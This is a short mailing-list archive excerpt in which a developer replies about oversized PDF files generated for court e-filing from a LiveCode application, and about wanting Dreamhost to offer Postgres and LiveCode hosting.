dealing with these *huge* pdf files generated In-Reply-To: References: Message-ID: On Fri, May 31, 2013 at 5:24 PM, stephen barncard wrote: > Hypercard? You mean livecode? Errr . . . :) This application *was* originally written in HyperCard over 20 years ago. Yeah, I'm sticking with that one :) > On a mac, the smallest files seem to be created using the Print Dialog > method. That's really not an option for me. I need to generate pdf, and then electronically file those with a court. A print dialog would put me way behind the competing applications. -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From dochawk at gmail.com Fri May 31 22:59:20 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Fri, 31 May 2013 19:59:20 -0700 Subject: Virtual Server Install In-Reply-To: References: Message-ID: On Fri, May 31, 2013 at 11:00 AM, stephen barncard wrote: > I've been planning to send an email the CEO of Dreamhost and suggest they > offer Livecode with their one click installs after the community edition is > released. They are a pretty hip company and may already be planning this. I'm hosted on dreamhost. If they would offer postgres (now just mysql) and livecode, I could stay there, rather than moving on . . . -- Dr. Richard E. Hawkins, Esq. (702) 508-8462